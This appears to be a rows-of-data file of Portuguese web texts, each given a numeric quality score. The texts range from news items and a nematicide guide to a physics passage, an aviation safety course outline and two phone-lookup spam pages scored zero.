deve ser superior a 26 ° C, a umidade deve ser superior a 80%. O líquido deve ser derramado no solo, não deve cair nas folhas das plantas. A solução vai secar neles, junto com ele, os nematóides vão secar e morrer. +Para cem metros quadrados, cerca de 1 balde de solução é consumido. É aconselhável preparar o terreno antes de regar: afrouxá-lo, isso deve ser feito se o solo estiver compactado. Em solo solto, os nematóides se multiplicam mais rápido. Ao adicionar, é necessário garantir que a solução é homogênea, para isso é necessário misturar o líquido em um balde. +Engenharia segura +""Nemabakt"" refere-se a medicamentos com toxicidade de classe 4, o que significa que o uso do medicamento é seguro e não causa intoxicação. Você pode trabalhar com isso com luvas comuns. Depois do trabalho, basta lavar as mãos com água e sabão. +Compatibilidade com outras sub...",original,original,original,original,4,0.8 +"Alunos da rede municipal podem realizar as inscrições entre os dias 2 e 16 de outubro. +A Prefeitura de Arraial do Cabo, por meio da Guarda Municipal, abre no próximo dia 2 de outubro, o processo de pré inscrição para o Projeto Guarda Mirim, bastante procurado por pais de alunos do município. O projeto, que atenderá estudantes de escolas públicas municipais com idades entre 8 e 14 anos, é realizado na sede da Secretaria de Segurança Pública, que fica na entrada da cidade. Ao todo serão 100 vagas, divididas em quatro turmas de 25 alunos, com aulas as terças e quintas-feiras. +Para participar do processo de seleção, os responsáveis pelos alunos devem comparecer a secretaria, na Avenida General Bruno Martins, até o dia 16 de outubro com os seguintes documentos: Identidade e CPF do responsável, comprovante de residência, certidão de nascimento do aluno, uma foto 3x4, declaração de matricula escolar no ano letivo de 2017 e boletim escolar do ano corrente. +O objetivo da Guarda Mirim é trabalhar a formação de valores dos estudantes, além de aproxima-los da Guarda Municipal e o convívio em equipe. Os participantes contarão com aulas de Ética e Cidadania, Ordem Unida, Educação no Trânsito, Educação Física, Primeiros Socorros e Prevenção às Drogas. +O aluno precisa ter os seguintes requisitos para participar do processo de seleção: +Ter idade entre 8 e 14 anos e estar cursando pelo menos o 3º ano do ensino fundamental; +Ter notas dentro da média no histórico escolar ; +Outras informações na página no facebook ""Guarda Mirim Arraial"" ou pelo e-mail guardamirim.arraial.@gmail.com",original,original,original,original,2,0.4 +"O tão aguardado Encontro Mensal de Leiria volta ao activo em 2013. Depois de muitos avanços e recuos lá conseguimos encontrar um espaço que nos permite trazer o hobby das nossas casas para a rua. +Assim, a começar no próximo mês de Fevereiro e sempre na última sexta-feira de cada mês, a partir das 21h30, estão todos convidados a aparecer na Encontro Mensal de Leiria. +O espaço onde decorre o evento é na ala nova do Jardim Infantil ""O Recreio"", na Rua das Figueiras nº9, em Casal da Formiga na Marinha Grande.",original,original,original,original,1,0.2 +"Secretário visita Centro Socioeducativo Homero de Souza Cruz Filho | GOVERNO DO ESTADO DE RORAIMA +Início EDUCAÇÃO Secretário visita Centro Socioeducativo Homero de Souza Cruz Filho +Secretário visita Centro Socioeducativo Homero de Souza Cruz Filho +O secretário de Educação, Jules Rimet Soares, visitou nesta manhã, 2, o CSE (Centro Socioeducativo) Homero de Souza Cruz Filho. Ele foi acompanhado do juiz Parima Veras, da Vara da Infância e do promotor de justiça Ricardo Fontanella. Eles conheceram as instalações e conversaram com a equipe de atendimento do local. +No Centro há quatro de salas de aula, laboratório de informática, biblioteca e sala de leitura para atender 97 internos com idade entre 14 a 20 anos. As aulas são ministradas por 23 professores. O local possui ainda quadra de esporte e campo de futebol. +“O convite foi do juiz Parima Veras e do promotor de justiça Ricardo Fontanella. Fomos verificar o espaço e como ele funciona. Temos profissionais da educação que trabalham no CSE. Somos conscientes do nosso papel e nossa vontade é ajudar a melhorar cada vez mais o atendimento”, disse Rimet. +O CSE realiza uma ação de inclusão educacional contemplando os adolescentes atendidos na unidade. Esse trabalho é desenvolvido em parceria com a escola Estadual Jaceguai dos Reis Cunha que administra salas de aula instaladas no Centro. +A matriz pedagógica inclui atividades no contraturno escolar, como o programa Mais Educação, superando as metas estabelecidas no Sistema Nacional de Atendimento Socioeducativo que orienta a oferta de quatro horas/aula por dia. A experiência garantiu à escola a conquista do Prêmio Gestão Escolar, promovido pelo Consed (Conselho Nacional de Secretários de Educação), em 2005. +Artigo anteriorProfissionais de saúde do HGR participam da 1º Semana de Segurança do Paciente +Próximo artigoRoraima terá 1ª Conferência Estadual para discutir assistência ao público feminino +ALTAS HABILIDADES | Inscrições para capacitação estão abertas +ESCOLAS MILITARIZADAS | Gestores Militares são apresentados em escolas do Interior +TEMPO INTEGRAL | Secretarias definem projeto para aplicação de recurso",original,original,original,original,3,0.6 +"Você está aqui +Thereza Christina Maria +O conjunto de aproximadamente 100 mil obras foi doado pelo imperador D. Pedro II em 1891 e, a seu pedido, denominado ""Collecção D. Thereza Christina Maria"". É a maior doação já recebida pela Biblioteca Nacional e reúne livros, publicações seriadas, mapas, partituras, desenhos, estampas, fotografias, litografias e outros documentos impressos e manuscritos. +A grandeza da coleção exigiu, na época, a construção de galerias e a reforma de espaços para dar conta do acréscimo que a doação imperial representou para o acervo da instituição. +Entre os itens doados, as fotografias têm valor cultural mundialmente reconhecido. São 23 mil imagens referentes ao Brasil e ao mundo do século XIX, que retratam a realidade do período e refletem a personalidade do imperador e seus interesses. Este acervo, considerado patrimônio da humanidade, foi o primeiro conjunto documental brasileiro a integrar o Programa Memória do Mundo da UNESCO, certificado pelo Registro Internacional do programa, em 2003, e pelo Registro Regional da América Latina e do Caribe, em 2011. +D. Pedro II formou sua coleção de fotografias, principalmente, através da contratação do trabalho de muitos profissionais - concedendo inclusive a alguns deles o título de ""Photographo da Casa Imperial"" - além da aquisição de imagens estrangeiras, principalmente durante suas viagens ao exterior. +Em função da diversidade de assuntos, as fotografias foram agrupadas em: +Viagens ao exterior. +Viagens no Brasil. +Acontecimentos históricos. +Personalidades estrangeiras. +Caráter científico. +Curiosidades. +Com o financiamento da Fundação Getty, a Biblioteca Nacional pôde tratar tecnicamente, digitalizar e divulgar este valioso acervo fotográfico. Como resultado, as imagens digitalizadas estão disponíveis na BNDigital, acompanhadas de pesquisa histórica e descrição bibliográfica completa, possibilitando aos pesquisadores uma visão abrangente e pormenorizada desta preciosa coleção. +Acesse +Obras em destaque +Coleção Thereza Christina Maria +Doada por D. Pedro II, a coleção forma o primeiro conjunto documental do Brasil inscrito no Registro Internacional da Memória do Mundo da UNESCO. Contém aproximadamente 23 mil fotografias que pertenciam ao próprio Imperador.",original,original,original,original,4,0.8 +"(31) 3034-4671 - 0 Comentário(s) +3034-4671 +Telefone 3034-4671 De quem é 3034 4671 +Recebeu uma ligação do telefone 30344671 ? Insira um comentario abaixo para 3034-4671 e os proximos visitantes saberão de quem é... +Telefone 3034-4671 ? Número 3034 4671 Recebeu uma ligação do telefone 30344671 ? Insira um comentário. +(11) 3034-4671 - (12) 3034-4671 - (13) 3034-4671 - (14) 3034-4671 - (15) 3034-4671 - (16) 3034-4671 - (17) 3034-4671 - (18) 3034-4671 - (19) 3034-4671 - (20) 3034-4671 - (21) 3034-4671 - (22) 3034-4671 - (23) 3034-4671 - (24) 3034-4671 - (25) 3034-4671 - (26) 3034-4671 - (27) 3034-4671 - (28) 3034-4671 - (29) 3034-4671 - (30) 3034-4671 - (31) 3034-4671 - (32) 3034-4671 - (33) 3034-4671 - (34) 3034-4671 - (35) 3034-4671 - (36) 3034-4671 - (37) 3034-4671 - (38) 3034-4671 - (39) 3034-4671 - (40) 3034-4671 - (41) 3034-4671 - (42) 3034-4671 - (43) 3034-4671 - (44) 3034-4671 - (45) 3034-4671 - (46) 3034-4671 - (47) 3034-4671 - (48) 3034-4671 - (49) 3034-4671 - (50) 3034-4671 - (51) 3034-4671 - (52) 3034-4671 - (53) 3034-4671 - (54) 3034-4671 - (55) 3034-4671 - (56) 3034-4671 - (57) 3034-4671 - (58) 3034-4671 - (59) 3034-4671 - (60) 3034-4671 - (61) 3034-4671 - (62) 3034-4671 - (63) 3034-4671 - (64) 3034-4671 - (65) 3034-4671 - (66) 3034-4671 - (67) 3034-4671 - (68) 3034-4671 - (69) 3034-4671 - (70) 3034-4671 - (71) 3034-4671 - (72) 3034-4671 - (73) 3034-4671 - (74) 3034-4671 - (75) 3034-4671 - (76) 3034-4671 - (77) 3034-4671 - (78) 3034-4671 - (79) 3034-4671 - (80) 3034-4671 - (81) 3034-4671 - (82) 3034-4671 - (83) 3034-4671 - (84) 3034-4671 - (85) 3034-4671 - (86) 3034-4671 - (87) 3034-4671 - (88) 3034-4671 - (89) 3034-4671 - (90) 3034-4671 - (91) 3034-4671 - (92) 3034-4671 - (93) 3034-4671 - (94) 3034-4671 - (95) 3034-4671 - (96) 3034-4671 - (97) 3034-4671 - (98) 3034-4671 - (99) 3034-4671 -",original,original,original,original,0,0.0 +"Brasil importou US$ 8,3 bilhões e exportou US$ 3,3 bilhões em produtos químicos no primeiro trimestre do ano – Sinproquim +Fale Conosco +Quem Somos +O Papel do Sinproquim +Diretoria +Assessorias +Assuntos jurídicos e de recursos humanos +Assuntos Tributários +Comércio Exterior +Economia e Conjuntura +Logística e Assuntos Regulatórios +Estatuto +Relatório de Atividades +História +Galeria de Presidentes +Contato +Convenções Coletivas +Contribuição +Associadas +Notícias +Notícias do Setor +Notícias das Associadas +Informativo LinQ +Informativo InfoQ +Circulares +Assessoria de Imprensa +Serviços +Cursos e Eventos +Serviços prestados aos associados +O que é o Quê na Química +Comissões +Compliance +Jurídica e de recursos humanos +Guia empresas e serviços +Brasil importou US$ 8,3 bilhões e exportou US$ 3,3 bilhões em produtos químicos no primeiro trimestre do ano +Notícias do Setor +2 de maio de 2017 +De janeiro a março, as importações brasileiras de produtos químicos somaram US$ 8,3 bilhões, com elevação de 7,3% em relação ao mesmo período de 2016. As exportações, de US$ 3,3 bilhões, cresceram 14,2% na mesma comparação. O déficit acumulado da balança comercial de produtos químicos chegou a US$ 5,0 bilhões, valor 3,1% superior a registrado em relação ao mesmo período de 2016. Nos últimos 12 meses (abril/16 a mar/17), o déficit totaliza US$ 22,2 bilhões. +Os intermediários para fertilizantes, com compras de US$ 1,6 bilhão, correspondentes a 6,9 milhões de toneladas, foram os produtos químicos mais importados pelo País no período. As resinas termoplásticas, com vendas externas de US$ 612,7 milhões no período, foram os produtos mais exportados pelo Brasil. Em relação aos três primeiros meses de 2016, as exportações de resinas termoplásticas cresceram 8,1% em valor. +As importações de produtos químicos no primeiro trimestre, de 10,8 milhões de toneladas, tiveram um expressivo aumento de 37,7%, o que representa um novo recorde histórico para o período. As exportações somaram 4,2 milhões de toneladas, com elevação de 0,8% em relação ao primeiro trimestre de 2016. +No mês de março, as compras externas de produtos químicos cresceram 18,3%, em relação a fevereiro, chegando a US$ 3,0 bilhões. As exportações, de US$ 1,2 bilhão, tiveram incremento de 22,9%, na mesma comparação. Em relação a março de 2016, foram registrados aumentos de 9,1% nas importações e de 14,6% nas exportações. +Buscar notícia +Notícias Recentes +Conflito entre Rússia e Ucrânia elevou os preços de vários produtos importados pelo Brasil +Receita Federal prorroga até março o prazo de adesão a programas de transação tributária +Cesiq vai convidar entidades de outros segmentos da indústria química para debater futuro do setor +São Paulo vai liberar R$ 200 milhões em nova rodada de transferência de crédito acumulado do ICMS +Ministério da Justiça volta a incluir o ácido sulfúrico na relação de produtos controlados pela Polícia Federal",original,original,original,original,2,0.4 +"Com a decisão da Justiça, 246 planos estão proibidos de ser vendidos +A medida não afeta clientes que usam atualmente os planos punidos. +A determinação do STJ, comunicada nesta quarta-feira à ANS, sobrepõe-se a liminares dos tribunais regionais federais (TRF) da 2ª Região (no Rio de Janeiro) e da 3ª Região (em São Paulo), que questionaram o sistema de avaliação da agência reguladora e determinaram a suspensão da punição aplicada às operadoras. +Para o ministro e presidente do STJ, Felix Fischer, as liminares anteriores violam o princípio da presunção de legitimidade dos atos administrativos trazendo “risco de grave lesão à ordem pública e à saúde de uma imensa coletividade”. +Ele acrescentou que não cabe ao Judiciário estabelecer a forma como devem ser executadas as normas que regulamentam a atividade da agência. +“Desta forma, tenho que as decisões impugnadas alteraram aspectos de procedimentos internos da agência que, certamente, nasceram para proteger com maior eficácia o consumidor em importante aspecto da vida, qual seja, a saúde”, disse Fischer, em nota. +No mesmo dia do anúncio da punição, a FenaSaúde ingressou com ação judicial alegando que identificou ‘equívocos no processo de monitoramento dos prazos de atendimento aos beneficiários de planos’. Ainda no dia 20 de agosto, o TRF da 2ª Região deferiu liminar determinando revisão das reclamações usadas pela ANS para avaliar a proibição da venda de cada plano. Portanto, até a última terça-feira (8) a punição não estava valendo. +Para ler a notícia no site Diário Catarinense, clique aqui.",original,original,original,original,1,0.2 +"(83) 4097-0843 - 0 Comentário(s) +4097-0843 +Telefone 4097-0843 De quem é 4097 0843 +Recebeu uma ligação do telefone 40970843 ? Insira um comentario abaixo para 4097-0843 e os proximos visitantes saberão de quem é... +Telefone 4097-0843 ? Número 4097 0843 Recebeu uma ligação do telefone 40970843 ? Insira um comentário. +(11) 4097-0843 - (12) 4097-0843 - (13) 4097-0843 - (14) 4097-0843 - (15) 4097-0843 - (16) 4097-0843 - (17) 4097-0843 - (18) 4097-0843 - (19) 4097-0843 - (20) 4097-0843 - (21) 4097-0843 - (22) 4097-0843 - (23) 4097-0843 - (24) 4097-0843 - (25) 4097-0843 - (26) 4097-0843 - (27) 4097-0843 - (28) 4097-0843 - (29) 4097-0843 - (30) 4097-0843 - (31) 4097-0843 - (32) 4097-0843 - (33) 4097-0843 - (34) 4097-0843 - (35) 4097-0843 - (36) 4097-0843 - (37) 4097-0843 - (38) 4097-0843 - (39) 4097-0843 - (40) 4097-0843 - (41) 4097-0843 - (42) 4097-0843 - (43) 4097-0843 - (44) 4097-0843 - (45) 4097-0843 - (46) 4097-0843 - (47) 4097-0843 - (48) 4097-0843 - (49) 4097-0843 - (50) 4097-0843 - (51) 4097-0843 - (52) 4097-0843 - (53) 4097-0843 - (54) 4097-0843 - (55) 4097-0843 - (56) 4097-0843 - (57) 4097-0843 - (58) 4097-0843 - (59) 4097-0843 - (60) 4097-0843 - (61) 4097-0843 - (62) 4097-0843 - (63) 4097-0843 - (64) 4097-0843 - (65) 4097-0843 - (66) 4097-0843 - (67) 4097-0843 - (68) 4097-0843 - (69) 4097-0843 - (70) 4097-0843 - (71) 4097-0843 - (72) 4097-0843 - (73) 4097-0843 - (74) 4097-0843 - (75) 4097-0843 - (76) 4097-0843 - (77) 4097-0843 - (78) 4097-0843 - (79) 4097-0843 - (80) 4097-0843 - (81) 4097-0843 - (82) 4097-0843 - (83) 4097-0843 - (84) 4097-0843 - (85) 4097-0843 - (86) 4097-0843 - (87) 4097-0843 - (88) 4097-0843 - (89) 4097-0843 - (90) 4097-0843 - (91) 4097-0843 - (92) 4097-0843 - (93) 4097-0843 - (94) 4097-0843 - (95) 4097-0843 - (96) 4097-0843 - (97) 4097-0843 - (98) 4097-0843 - (99) 4097-0843 -",original,original,original,original,0,0.0 +"É uma grandeza vetorial porque, além da intensidade, tem uma direção. É definida pela variação da posição de um corpo em relação ao tempo. Seja conforme Figura 1-I (a): um corpo segue um caminho genérico dado pela curva C. +O vetor $\\Delta \\vec r$ é uma aproximação para o comprimento da curva, de forma que a velocidade aproximada no ponto 1 pode ser dada pelo vetor: +Quanto menor a diferença, maior a aproximação com o comprimento da curva. Assim, no limite, +Por ser um vetor, a velocidade pode ser decomposta na soma de outros. É comum o uso dos componentes nos eixos das coordenadas. No caso de movimento bidimensional, +Graficamente, o vetor diferença de velocidades pode ser visto em (b) da mesma figura. Portanto, a aceleração aproximada no ponto 1 é dada por: +De forma similar à do tópico anterior, a situação limite dá a definição de aceleração instantânea em um determinado ponto da trajetória: +Ao contrário da velocidade, o vetor aceleração não tem uma relação geométrica definida com a curva. Em geral, não é tangente nem normal à trajetória do corpo. Ver (c) da figura. A unidade básica no Sistema Internacional é o metro por segundo ao quadrado (m/s2). Conversão para outras unidades nesta página. +Em (b) da figura estão representados os vetores unitários para os eixos de coordenadas xy (i e j) e para os eixos na direção normal e tangencial à curva (N e T). Deduz-se então: +Derivando o vetor tangencial em relação ao tempo, +Mas dϕ/dC é a curvatura da trajetória C, equivalente ao inverso do raio de curvatura RC da figura. E dC/dt é a relação entre espaço percorrido e tempo no intervalo infinitesimal, ou seja, é a intensidade do vetor velocidade. Portanto, +A velocidade pode ser dada pelo produto da sua magnitude v pelo vetor unitário tangencial, isto é, $\\vec v = v \\vec N$. Desde que aceleração é a sua derivada em relação ao tempo e considerando a propriedade das diferenciais d(xy) = x dy + y dx,",original,original,original,original,3,0.6 +"Coronavírus: hotel cinco estrelas se transforma em lar provisório gratuito - +Home › Viagem › Coronavírus: hotel cinco estrelas se transforma em lar provisório gratuito +Casa Gastronomia Mais ricos Viagem Posted on 23/04/2020 —by Redação 1749 0 +O Four Seasons, em New York, é um dos muitos hotéis em todo o mundo que se fecharam para o público nas últimas semanas para seguir as regras estabelecidas por governos e especialistas em saúde, mas reabriram como acomodações para profissionais de saúde, pois ficou claro que muitos trabalhadores precisariam de um lar provisório para se isolarem. +O surto de coronavírus mudou as coisas e, praticamente, todos os aspectos do hotel tiveram que ser modificados, de pessoal a saneamento. Como muitos hotéis e empresas em Nova York e em todo o país, o Four Seasons foi fechado em 20 de março. +Na semana seguinte, quando o governador Cuomo pediu hotéis para fornecer quartos para o pessoal médico nas linhas de frente do COVID-19, o Four Seasons foi o primeiro da cidade a atender o pedido – eles transformaram o hotel em um andar de dormitório médico, oferecendo quartos gratuitamente aos profissionais de saúde. +Era uma tarefa enorme criar um espaço seguro e confiável para aqueles que tinham que viajar longas distâncias para o trabalho, ou talvez não quisessem arriscar levar a infecção para casa a membros da família. +Autorização para a transformação +Os pedidos de reabertura para o pessoal médico vieram diretamente de Ty Warner, o bilionário Ty Beanie Baby, dono do prédio do Four Seasons, diz Rudy Tauscher, gerente geral do hotel. “Não parecíamos esquerda ou direita, nem nos importávamos com o que outros hotéis em Nova York estavam fazendo”, diz Tauscher. “Pensamos: ‘Vamos tentar isso e ver até onde podemos ir'”. +A reabertura de um hotel tão grandioso quanto o Four Seasons, no entanto, é uma sinfonia de partes móveis, diz Tauscher. “Felizmente, temos uma equipe muito experiente”, diz ele. “Mas ainda assim, tínhamos acabado de fechar o hotel e tínhamos apenas seis dias para abri-lo”. Os planos do hotel de receber pessoal médico foram anunciados na sexta-feira, 27 de março. O primeiro hóspede fez o check-in em 2 de abril. +Logística do Four Seasons +A arquitetura do edifício se presta às circunstâncias, com todas as entradas controladas no lado da 58th Street e todas as saídas no lado da 57th Street. O distanciamento social começa do lado de fora, onde marcadores de rua colocados a distância de um metro e meio gerenciam o fluxo de pessoas para dentro do edifício. Convidados e funcionários passam por um único ponto de entrada onde, um de cada vez, deve passar por uma verificação de temperatura e responder a uma série de perguntas. No caso de alguém não passar no protocolo de triagem, ele é escoltado para uma área designada de “zona vermelha” para inspeção adicional. +No interior, a sinalização indica “zonas verdes” claras, onde os hóspedes têm acesso, e as marcações do piso delineiam os caminhos para os elevadores, que transportam uma pessoa por vez. No check-in, as chaves do quarto são colocadas em envelopes em ordem alfabética em uma mesa. As refeições em caixas são colocadas em outra mesa para que os hóspedes possam escolher uma a caminho do quarto. A interação com a equipe é mínima e, é claro, socialmente distanciada. Dos 368 quartos das instalações, 225 estão disponíveis no momento, a fim de minimizar a aglomeração. +Não há serviço de limpeza diário; em vez disso, os quartos são abastecidos com lençóis e toalhas extras. Depois que um hóspede faz check-out, de acordo com Tauscher, o hotel implementa dois ciclos de limpeza sob a orientação da EcoLab, uma empresa de tecnologia e serviços de higiene que o hotel contratou para supervisionar os esforços de saneamento. Primeiro, cada quarto fica vago por 48 horas “para garantir que o vírus caia no chão”. A sala é higienizada e deixada vaga por mais 24 horas antes da limpeza do Four Seasons entrar na sala para realizar a limpeza de rotina. +Os funcionários do hotel ta...",original,original,original,original,2,0.4 +"De 13 a 24 de julho de 2011, o Rumos Cinema e Vídeo leva a Belém o que há de mais contemporâneo na linguagem audiovisual. Na capital paraense, a mostra ocorre na Sala Valdir Sarubbi do Espaço Cultural Casa das Onze Janelas. +No espaço expositivo, três obras selecionadas estarão projetadas. Em monitores e computadores, o público poderá assistir aos Filmes e Vídeos Experimentais, aos Documentários para Web e aos Espetáculos Multimídia registrados durante a exposição de estreia desta edição do Rumos, em São Paulo. +Você pode assistir a entrevistas com todos os participantes no nosso canal do YouTube. Além disso, acessar, na página do Rumos, um texto crítico sobre os selecionados, as biografias e os Documentários para Web. +Exposição das 10h às 18h, de terça a domingo",original,original,original,original,2,0.4 +"Enivaldo critica decisão do TJES que suspende lei de desconto em mensalidades escolares – O Contestado +em Coronavírus, Destaques, Economia, Educação, Espírito Santo, Noroeste Capixaba, Política, Região +Enivaldo dos Anjos defende que cidadão sabia quanto ele custa para o SUS (Foto: Webales) +O deputado estadual Enivaldo dos Anjos (PSD) se manifestou contrário e de maneira veemente à decisão assinada pelo desembargador Jorge Henrique Valle dos Santos, do Tribunal de Justiça do Estado (TJES), acatando o pedido feito pelo Sindicato das Empresas Particulares de Ensino do Espírito Santo (Sinepe-ES), suspendendo os efeitos da lei aprovada na Assembleia Legislativa (Ales), obrigando as instituições de ensino a concederam desconto de 30% durante a pandemia da Covid-19. +De acordo com a cautelar concedida ontem, 7, pelo desembargador, a lei promulgada pela Assembleia no último dia 22 de junho não teria poder de alterar contratos já firmados, o que seria da competência da União. Enivaldo se opôs à medida e levantou problemas maiores envolvendo a relação entre os Poderes. +“Gostaria de lembrar ao desembargador que estamos em um momento histórico e único e que não é possível que ele não tenha se sensibilizado com essas famílias pobres e tenha deixado mais uma vez o Tribunal de Justiça totalmente fora de sintonia com a população. É esse tipo de comportamento que faz terem, por exemplo, manifestações lá em Brasília contrárias à Justiça e ao STF”, teceu o deputado. +Enivaldo, que assinou como um dos criadores do projeto, também lembrou da negativa recente dada à Assembleia pela alta cúpula do Tribunal de Justiça para uma audiência entre deputados e desembargadores. Para o parlamentar, a decisão desta terça-feira se une à última e dá um tom de vexame no tratamento dispensado pelo Tribunal ao Legislativo. +“Não se dá o mínimo interesse de proximidade por parte do Tribunal de Justiça com o Legislativo. Já tivemos o vexame que a Assembleia passou ao presidente do Tribunal negar audiência aos deputados; agora vem o desembargador Jorge e dá um tapa na cara da Casa, suspendendo uma lei aprovada à unanimidade e promulgada pela Assembleia sem ao menos dar direito à manifestação”, desabafou Enivaldo antes de fazer um apelo à procuradoria da Assembleia para que tomasse providências: “Porque entendo que esse ataque, além de ser um desrespeito com milhares de famílias, não deixa de ser um afronta à Assembleia enquanto Poder constituído”. +Seguindo a fala de Enivaldo, o presidente da Assembleia, deputado Erick Musso (Republicanos), determinou que a Procuradoria da Casa de fato examinasse a peça assinada pelo desembargador e que uma medida fosse tomada a respeito do assunto. “Deputado Enivaldo, quero fazer coro à sua fala dizendo que se a Procuradoria ainda não foi acionada, determino neste momento, enquanto presidente, que ela tenha acesso aos autos e possa fazer a defesa da instituição. Esse trabalho foi feito em coletivo pelos deputados e sociedade civil e precisa ser respeitado”, disse o presidente que se mostrou “muito espantado” com a falta de diálogo apresentada pelo Tribunal ao decidir pela suspensão da Lei. +A lei dos descontos, aprovada à unanimidade pelo plenário da Assembleia, teve a autoria conjunta do deputado Enivaldo dos Anjos (PSD) e dos deputados Hudson Leal (Republicanos), Capitão Assumção (Patriota), Rafael Favatto (Patriota) e Marcos Masur (PSDB). Com o poder de aplicar descontos de até 30% em mensalidades para estudantes que estiverem sem aulas presenciais durante a pandemia, o PL sofreu alterações desde o início de sua tramitação e recebeu contribuições de diferentes parlamentares, comissões e da membros da sociedade civil. A previsão de alcance da lei é a de que contemple até 200 mil estudantes capixabas. (Weber Andrade com site enivaldodosanjos.com) +Com apenas 6 leitos ocupados, Hospital Dr. Alceu Melgaço está sob controle +Francisquense que passou 34 dias internado por causa da Covid-19 tem alta com festa",original,original,original,original,1,0.2 +"Como o filme de The Flash pode mudar tudo no universo cinematográfico da DC | SpinOff.com.br +Você está em Home | Cinema | Como o filme de The Flash pode mudar tudo no universo cinematográfico da DC +Como o filme de The Flash pode mudar tudo no universo cinematográfico da DC +27/07/2017 by Eduardo Moreira +Foi anunciado na Comic-Con 2017 que o filme de The Flash vai ter como base o arco argumental de Flashpoint nos quadrinhos. E essa notícia é muito importante, mas pode ter passado desapercebida no meio de tanta informação. +Flashpoint pode marcar um antes e um depois dentro do universo cinematográfico da DC, além de servir para justificar uma possível saída de Ben Affleck antes do previsto. +Quem segue a versão televisiva do universo DC se lembra que a terceira temporada de The Flash já abordou essa trama relacionada com linhas temporais paralelas. Mas nos quadrinhos, isso é algo muito maior. +The Flash pode se mover tão rápido, que é capaz de viajar no tempo. Sua mãe foi assassinada quando ele era uma criança, e em um determinado momento, Barry Allen decide voltar no tempo para salvá-la. O problema é que, ao fazer isso, ele cria uma linha do tempo alternativa, com muitas coisas diferentes do que conhecemos. +Exemplos: a Liga da Justiça não existe, o Flash não existe, a Mulher-Maravilha e suas amazonas estão em guerra contra o Aquaman e os atlânticos, Batman é Thomas Wayne, pai de Bruce, cuja morte levou o seu progenitor a se transformar no Homem-Morcego… +Enfim, Cyborg e um Superman decadente tentam ajudar The Flash a trazer tudo de volta como era antes, mas isso não é nada simples. +Agora, resta saber em que ponto o filme The Flash entra com os dois pés nesse tema, ou faz isso de forma superficial. Por um lado, eles podem resetar o tempo à vontade. Por outro, é um movimento muito arriscado. +The Flash conseguiu solucionar tudo nos quadrinhos, deixando mais ou menos tudo como era. Esta virou a base do que é conhecido como The New 52, um efetivo da DC. +E esta seria a desculpa ideal para realmente eliminar Ben Affleck da DCEU. Vale lembrar que Matt Reeves decidiu passarpor completo o seu roteiro com uma trilogia em mente quando o ator só tem outro filme no seu contrato. O problema e que todas as mudanças que levam para este caminho podem ser muito errados se as bases do universo cinematográfico não estiverem bem definidas. +Por fim, há quem já se assanhe pelo reboot. Jeffrey Dean Morgan já é especulado para ser Thomas Wayne (aka Novo Batman) no cinema, e Lauren Cohan, sua colega de elenco em The Walking Dead, poderia muito bem ser a Harley Quinn alternativa. +← Sharknado 5: Global Swarming Trailer #1 | Syfy +Mahershala Ali é confirmado como protagonista da terceira temporada de True Detective →",original,original,original,original,2,0.4 +"Apartamento na Rua Antenor Kaiser, Campo Comprido em Curitiba, por R$ 1.550.000 - Viva Real +Apartamento com 3 Quartos à Venda, 182 m² por R$ 1.550.000 +COD. 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Todo estes aspectos abordados de forma lúdica e divertida.",original,original,original,original,2,0.4 +"ASDEF - Associação de Deficientes e Familiares • Notícias | Asdef convoca entidades da sociedade civil para discutir Fundo de Direitos Difusos da Paraíba +NOTÍCIAS - Asdef convoca entidades da sociedade civil para discutir Fundo de Direitos Difusos da Paraíba +Asdef convoca entidades da sociedade civil para discutir Fundo de Direitos Difusos da Paraíba +Na próxima quarta-feira (22) acontece na sede da Asdef um debate com diversas instituições representantes da sociedade civil. A pauta vai discutir sobre o Fundo de Direitos da Paraíba – FDP/PB com o objetivo de esclarecer o que é o recurso e as formas de acesso ao mesmo. +A reunião começa às 14h e a sede da Asdef fica localizada na Rua Manoel Paulino Júnior, 454, Tambauzinho (por trás do shopping Moriah). Entidades de diferentes segmentos da sociedade civil devem comparecer para se certificarem de seus direitos. +A Asdef conta com o apoio dos mandatos dos deputados estaduais Frei Anastácio e Anísio Maia, ambos titulares da Assembleia Legislativa no Consellho do gesto do FDD/PB. Com vínculo ao Ministério Público Estadual, o recurso foi criado há 10 anos para apoiar inciativas e implementação de políticas públicas como forma de ressarcir a coletividade por danos causados ao consumidor. +20 de Nov de 2017 às 17:14",original,original,original,original,1,0.2 +"Reconhecer a importância da atuação da OACI na padronização de procedimentos na área de investigação e prevenção de acidentes, através do ANEXO13 +Citar a responsabilidade do Comando da Aeronáutica quanto à investigação e à prevenção de acidentes aeronáuticos +Caracterizar o Sistema de Investigação e Prevenção de Acidentes Aeronáuticos (SIPAER) e seus componentes quanto à sua finalidade +Identificar os princípios básicos da filosofia SIPAER +Identificar as atribuições do Oficial de Segurança de Voo (OSV), do Agente de Segurança de Voo (ASV) e dos Elementos Credenciados - Prevenção (EC-PREV) +Conceituar Comissão de Investigação (CI) +Conceituar acidente aeronáutico, incidente aeronáutico, incidente aeronáutico grave e ocorrência de solo +Definir fatores humanos, fatores materiais e fatores operacionais enquanto fatores contribuintes dos acidentes aeronáuticos, dos incidentes aeronáuticos, dos incidentes aeronáuticos graves e das ocorrências de solo +Identificar as fases da Investigação de Acidentes Aeronáuticos +Apontar os responsáveis pela prevenção de acidentes aeronáuticos, de acordo com o Art. 87 do Código Brasileiro de Aeronáutica (CBA) +Reconhecer as responsabilidades do piloto e do proprietário na prestação de informações para prestação de informações para o esclarecimento dos fatores contribuintes de acidentes/incidentes aeronáuticos +Reconhecer as responsabilidades do piloto em comando no controle da manutenção da aeronave +Reconhecer a importância da manutenção como prevenção de acidentes +Reconhecer a importância das inspeções pré-voo e pós-voo para a prevenção de acidentes +DESCRIÇÃO DO CURSO +Cientes da importância da disciplina Segurança de Voo na formação básica de todos que almejam ingressar na aviação, mesmo que para recreio ou desporto, este texto foi elaborado no sentido de contemplar todos os objetivos recomendados pela ANAC, através dos Manuais de Curso, para formação de piloto privado, piloto comercial, comissários de voo, instrutor de voo e mecânicos de manutenção. +Assim, foram reunidos aqui os conteúdos programáticos que embasam as videoaulas produzidas para a disciplina. Sem perder de vista os preceitos do reordenamento administrativo do Comando da Aeronáutica e seu consequente impacto na transformação do Sistema de Investigação e Prevenção de Acidentes Aeronáuticos – SIPAER. +PROFESSOR DO CURSO +ANDRÉ BRAGA +André Braga é Controlador de Tráfego Aéreo, Instrutor do Sistema de Controle do Espaço Aéreo Brasileiro, Elemento Credenciado pelo CENIPA, Mestre em Gestão de Políticas Públicas pela FUNDAJ (PE), Instrutor de Comissários de Voo e Pilotos e Sócio fundador da WINGLET Consultoria Aeronáutica.",original,original,original,original,4,0.8 